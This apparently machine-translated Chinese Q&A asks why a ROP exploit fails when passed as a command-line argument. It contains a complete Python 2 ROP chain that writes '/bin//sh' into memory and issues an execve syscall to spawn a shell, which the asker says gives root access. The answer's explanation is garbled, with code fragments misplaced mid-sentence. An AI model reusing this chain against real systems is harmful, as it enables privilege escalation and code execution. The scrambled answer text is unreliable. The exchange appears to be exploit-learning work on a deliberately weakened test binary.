0

我创建了一个 ROP 攻击链,我知道它可以工作,因为我已经用另一个没有问题代码的程序对其进行了测试。

我的问题是,每当我将我的 ROP 链作为输入参数运行到我的目标二进制文件中时,它就无法通过这部分:

if (argc !=2){
fprintf(stderr, "Error:need a command-line argument\n");
return 1;
}

我像这样运行它:./target $(python inject.py)

下面是我的攻击链:

#!/usr/bin/env python2

from struct import pack

p = 'A'*112

p += pack('<I', 0x080572fa) # pop edx ; ret
p += pack('<I', 0x080ef060) # @ .data
p += pack('<I', 0x080c2316) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0808e93d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080572fa) # pop edx ; ret
p += pack('<I', 0x080ef064) # @ .data + 4
p += pack('<I', 0x080c2316) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0808e93d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080572fa) # pop edx ; ret
p += pack('<I', 0x080ef068) # @ .data + 8
p += pack('<I', 0x08051710) # xor eax, eax ; ret
p += pack('<I', 0x0808e93d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481ec) # pop ebx ; ret
p += pack('<I', 0x080ef060) # @ .data
p += pack('<I', 0x080e3cc6) # pop ecx ; ret
p += pack('<I', 0x080ef068) # @ .data + 8
p += pack('<I', 0x080572fa) # pop edx ; ret
p += pack('<I', 0x080ef068) # @ .data + 8
p += pack('<I', 0x08051710) # xor eax, eax ; ret
p += pack('<I', 0x0809a506) # inc eax ; ret
p += pack('<I', 0x0809a506) # inc eax ; ret
p += pack('<I', 0x0809a506) # inc eax ; ret
p += pack('<I', 0x0809a506) # inc eax ; ret
p += pack('<I', 0x0809a506) # inc eax ; ret
p += pack('<I', 0x0809a506) # inc eax ; ret
p += pack('<I', 0x0809a506) # inc eax ; ret
p += pack('<I', 0x0809a506) # inc eax ; ret
p += pack('<I', 0x0809a506) # inc eax ; ret
p += pack('<I', 0x0809a506) # inc eax ; ret
p += pack('<I', 0x0809a506) # inc eax ; ret
p += pack('<I', 0x080494b9) # int 0x80
print p

当我删除上面的参数检查时,它可以让我获得对终端的 root 访问权限并且可以正常工作。

这些是我编译程序的头文件: -g -m32 -static -U_FORTIFY_SOURCE -fno-stack-protector

目标已打开 DEP。

4

1 回答 1

0

当它被调用时,你argc的不是。命令替换执行,返回然后发送它的值,在每个空格上拆分,导致参数的数量大于 2。2./target $(python inject.py)$()./target

为防止 shell 在命令替换中的每个空格上拆分,请在命令替换周围加上引号以防止它拆分结果,而是将其作为单个参数。

改变:

./target $(python inject.py)

./target "$(python inject.py)"

查看以下内容以获取更多信息:

于 2016-04-28T01:43:34.850 回答